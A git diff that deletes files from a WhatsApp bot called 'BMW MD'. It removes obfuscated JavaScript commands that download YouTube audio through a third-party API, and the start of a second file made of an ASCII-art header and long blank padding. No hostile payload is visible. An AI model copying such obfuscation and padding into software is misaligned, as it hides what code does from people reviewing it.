-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-**/
-function _0x18e4(){const _0x15049e=['wich\x20song\x20do\x20you\x20want.','no\x20video\x20found.','pipe','_\x0a\x0a\x0a_*©Ibrahim\x20Adams*_\x0a\x0a','150LhYujY','timestamp','toFixed','stream','2433333reCvoU','join','title','327090aOlMls','search','680214miTVcN','thumbnail','url','Bmw\x20is\x20loading▰▰▰▰▱▱▱','../Ibrahim/adams','search\x20for\x20a\x20youtube\x20song','1667254OvUTuK','sendMessage','\x0aTime\x20:\x20','*BMW\x20MD\x20YOUTUBE\x20SEARCH*\x0a\x0aBmw\x20md\x20is\x20downloading\x20:\x20','song2','16oaLpCO','createWriteStream','Bmw\x20is\x20loading▰▰▰▰▱▱▱\x200ms','Search','yt-search','Erreur\x20lors\x20de\x20l\x27écriture\x20du\x20fichier:','toString','1364944QfwAkJ','(((.+)+)+)+$','Téléchargement\x20terminé\x20avec\x20succès\x20!','Bmw\x20is\x20loading▰▰▰▰▱▱▱\x20','apply','content-length','videos','audio.mp3','data','get','Taille\x20totale\x20du\x20fichier:','1VUadyO','length','20JIbNhz','constructor','headers','audio/mp4','finish','771276LDwsHS','key','\x0aYoutube\x20link\x20:\x20','error','axios','4815837diNDGi'];_0x18e4=function(){return _0x15049e;};return _0x18e4();}function _0xdb7f(_0x2ffe3b,_0x3a7f0b){const _0x18e4cf=_0x18e4();return _0xdb7f=function(_0xdb7fd3,_0x2c8c98){_0xdb7fd3=_0xdb7fd3-0x1bd;let _0x100fed=_0x18e4cf[_0xdb7fd3];return _0x100fed;},_0xdb7f(_0x2ffe3b,_0x3a7f0b);}const _0x3b2c97=_0xdb7f;(function(_0x29038b,_0x529222){const _0x188e89=_0xdb7f,_0x12bb86=_0x29038b();while(!![]){try{const _0x9693aa=-parseInt(_0x188e89(0x1ed))/0x1*(parseInt(_0x188e89(0x1d6))/0x2)+-parseInt(_0x188e89(0x1ce))/0x3+-parseInt(_0x188e89(0x1e2))/0x4*(-parseInt(_0x188e89(0x1ef))/0x5)+parseInt(_0x188e89(0x1d0))/0x6+-parseInt(_0x188e89(0x1cb))/0x7*(-parseInt(_0x188e89(0x1db))/0x8)+parseInt(_0x188e89(0x1c2))/0x9+-parseInt(_0x188e89(0x1c7))/0xa*(parseInt(_0x188e89(0x1bd))/0xb);if(_0x9693aa===_0x529222)break;else _0x12bb86['push'](_0x12bb86['shift']());}catch(_0x8dcc9){_0x12bb86['push'](_0x12bb86['shift']());}}}(_0x18e4,0xae607));const a54_0x3f73c3=(function(){let _0xc2d2c6=!![];return function(_0xf8c6dc,_0x31485e){const _0x434b80=_0xc2d2c6?function(){const _0x4f4c49=_0xdb7f;if(_0x31485e){const _0x354ce7=_0x31485e[_0x4f4c49(0x1e6)](_0xf8c6dc,arguments);return _0x31485e=null,_0x354ce7;}}:function(){};return _0xc2d2c6=![],_0x434b80;};}()),a54_0x3bdf75=a54_0x3f73c3(this,function(){const _0x2809a3=_0xdb7f;return a54_0x3bdf75[_0x2809a3(0x1e1)]()[_0x2809a3(0x1cf)]('(((.+)+)+)+$')[_0x2809a3(0x1e1)]()[_0x2809a3(0x1f0)](a54_0x3bdf75)[_0x2809a3(0x1cf)](_0x2809a3(0x1e3));});a54_0x3bdf75();const {adams}=require(_0x3b2c97(0x1d4)),yts=require(_0x3b2c97(0x1df)),fs=require('fs'),axios=require(_0x3b2c97(0x1c1));adams({'nomCom':'play2','categorie':'Search','reaction':'🎧','desc':_0x3b2c97(0x1d5)},async(_0x21987e,_0x4d43e6,_0x580980)=>{const _0x1106a9=_0x3b2c97,{ms:_0x48cf3b,repondre:_0x2bb9d7,arg:_0x4b57b8}=_0x580980;if(!_0x4b57b8[0x0]){_0x2bb9d7(_0x1106a9(0x1c3));return;}try{let _0x2da149=_0x4b57b8[_0x1106a9(0x1cc)]('\x20');const _0x1b7125=await yts(_0x2da149),_0x56d6ff=_0x1b7125[_0x1106a9(0x1e8)];if(_0x56d6ff&&_0x56d6ff[_0x1106a9(0x1ee)]>0x0&&_0x56d6ff[0x0]){const _0x23a669=_0x56d6ff[0x0]['url'];let _0xf4600b={'image':{'url':_0x56d6ff[0x0][_0x1106a9(0x1d1)]},'caption':_0x1106a9(0x1d9)+_0x56d6ff[0x0][_0x1106a9(0x1cd)]+'\x0aTime\x20:\x20'+_0x56d6ff[0x0]['timestamp']+_0x1106a9(0x1bf)+_0x56d6ff[0x0][_0x1106a9(0x1d2)]+_0x1106a9(0x1c6)};_0x4d43e6[_0x1106a9(0x1d7)](_0x21987e,_0xf4600b,{'quoted':_0x48cf3b});const _0x46db85=await axios['get']('https://api.cafirexos.com/api/v1/ytmp3?url='+_0x23a669,{'responseType':_0x1106a9(0x1ca)}),_0x5eda30=_0x46db85['headers']['content-length'];console['log'](_0x1106a9(0x1ec),_0x5eda30);let _0x5bdc5d=await _0x4d43e6[_0x1106a9(0x1d7)](_0x21987e,{'text':'Bmw\x20is\x20loading▰▰▰▰▱▱▱\x200ms'}),_0x30ed99=0x0;const _0x3a1481=fs['createWriteStream']('audio.mp3');_0x46db85[_0x1106a9(0x1ea)]['on'](_0x1106a9(0x1ea),_0x3303b9=>{const _0x3106b5=_0x1106a9;_0x30ed99+=_0x3303b9['length'];const _0x406d81=_0x30ed99/_0x5eda30*0x64;_0x4d43e6[_0x3106b5(0x1d7)](_0x21987e,{'text':_0x3106b5(0x1e5)+_0x406d81[_0x3106b5(0x1c9)](0x2)+'ms','edit':_0x5bdc5d[_0x3106b5(0x1be)]});}),_0x46db85['data'][_0x1106a9(0x1c5)](_0x3a1481),_0x3a1481['on'](_0x1106a9(0x1f3),()=>{const _0x220a5b=_0x1106a9;console['log'](_0x220a5b(0x1e4)),_0x4d43e6[_0x220a5b(0x1d7)](_0x21987e,{'audio':{'url':_0x220a5b(0x1e9)},'mimetype':'audio/mp4'},{'quoted':_0x48cf3b,'ptt':![]});}),_0x3a1481['on']('error',_0x3074d8=>{const _0x5f17b6=_0x1106a9;console[_0x5f17b6(0x1c0)](_0x5f17b6(0x1e0),_0x3074d8),_0x2bb9d7('✅');});}else _0x2bb9d7('no\x20video\x20found.');}catch(_0x193762){console[_0x1106a9(0x1c0)]('Erreur\x20lors\x20de\x20la\x20recherche\x20ou\x20du\x20téléchargement\x20de\x20la\x20vidéo\x20:',_0x193762),_0x2bb9d7('✅');}}),adams({'nomCom':_0x3b2c97(0x1da),'categorie':_0x3b2c97(0x1de),'reaction':'🎧','desc':_0x3b2c97(0x1d5)},async(_0x1087a8,_0x212b9f,_0x138cee)=>{const _0xcb7fcf=_0x3b2c97,{ms:_0x57e724,repondre:_0x3c768e,arg:_0xd681b7}=_0x138cee;if(!_0xd681b7[0x0]){_0x3c768e(_0xcb7fcf(0x1c3));return;}try{let _0x4ecef4=_0xd681b7[_0xcb7fcf(0x1cc)]('\x20');const _0x17be29=await yts(_0x4ecef4),_0x50daf0=_0x17be29[_0xcb7fcf(0x1e8)];if(_0x50daf0&&_0x50daf0['length']>0x0&&_0x50daf0[0x0]){const _0x300536=_0x50daf0[0x0]['url'];let _0x2f5620={'image':{'url':_0x50daf0[0x0][_0xcb7fcf(0x1d1)]},'caption':_0xcb7fcf(0x1d9)+_0x50daf0[0x0][_0xcb7fcf(0x1cd)]+_0xcb7fcf(0x1d8)+_0x50daf0[0x0][_0xcb7fcf(0x1c8)]+'\x0aYoutube\x20link\x20:\x20'+_0x50daf0[0x0][_0xcb7fcf(0x1d2)]+_0xcb7fcf(0x1c6)};_0x212b9f[_0xcb7fcf(0x1d7)](_0x1087a8,_0x2f5620,{'quoted':_0x57e724});const _0x5c090b=await axios[_0xcb7fcf(0x1eb)]('https://api.cafirexos.com/api/v1/ytmp3?url='+_0x300536,{'responseType':_0xcb7fcf(0x1ca)}),_0x44491e=_0x5c090b[_0xcb7fcf(0x1f1)][_0xcb7fcf(0x1e7)];console['log'](_0xcb7fcf(0x1ec),_0x44491e);let _0x505ab1=await _0x212b9f['sendMessage'](_0x1087a8,{'text':_0xcb7fcf(0x1dd)}),_0x3c0c95=0x0;const _0x501237=fs[_0xcb7fcf(0x1dc)](_0xcb7fcf(0x1e9));_0x5c090b[_0xcb7fcf(0x1ea)]['on'](_0xcb7fcf(0x1ea),_0x41234b=>{const _0x94fd6d=_0xcb7fcf;_0x3c0c95+=_0x41234b['length'];const _0x1b9a79=_0x3c0c95/_0x44491e*0x64;_0x212b9f[_0x94fd6d(0x1d7)](_0x1087a8,{'text':_0x94fd6d(0x1d3)+_0x1b9a79[_0x94fd6d(0x1c9)](0x2)+'ms','edit':_0x505ab1[_0x94fd6d(0x1be)]});}),_0x5c090b[_0xcb7fcf(0x1ea)]['pipe'](_0x501237),_0x501237['on']('finish',()=>{const _0x213c52=_0xcb7fcf;console['log'](_0x213c52(0x1e4)),_0x212b9f['sendMessage'](_0x1087a8,{'audio':{'url':_0x213c52(0x1e9)},'mimetype':_0x213c52(0x1f2)},{'quoted':_0x57e724,'ptt':![]});}),_0x501237['on'](_0xcb7fcf(0x1c0),_0x520e37=>{const _0x5f4919=_0xcb7fcf;console[_0x5f4919(0x1c0)]('Erreur\x20lors\x20de\x20l\x27écriture\x20du\x20fichier:',_0x520e37),_0x3c768e('✅');});}else _0x3c768e(_0xcb7fcf(0x1c4));}catch(_0x155709){console[_0xcb7fcf(0x1c0)]('Erreur\x20lors\x20de\x20la\x20recherche\x20ou\x20du\x20téléchargement\x20de\x20la\x20vidéo\x20:',_0x155709),_0x3c768e('✅');}});
diff --git a/scs/bmwae.js b/scs/bmwae.js
deleted file mode 100644
index 005a379..0000000
--- a/scs/bmwae.js
+++ /dev/null
@@ -1,15452 +0,0 @@
-/**
-Yoo bro what au looking for
-Just deploy the bot with original repo
-
-BMW MD
-
-Made by dev Ibrahim Adams
-
-
- _.u[[/;:,. .odMMMMMM'
- .o888UU[[[/;:-. .o@P^ MMM^
- oN88888UU[[[/;::-. dP^
- dNMMNN888UU[[[/;:--. .o@P^
- ,MMMMMMN888UU[[/;::-. o@^
- NNMMMNN888UU[[[/~.o@P^
- 888888888UU[[[/o@^-..
- oI8888UU[[[/o@P^:--..
- .@^ YUU[[[/o@^;::---..
- oMP ^/o@P^;:::---..
- .dMMM .o@^ ^;::---...
- dMMMMMMM@^` `^^^^
-YMMMUP^
-
- Unclone version 😂🤣
-
- **/
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
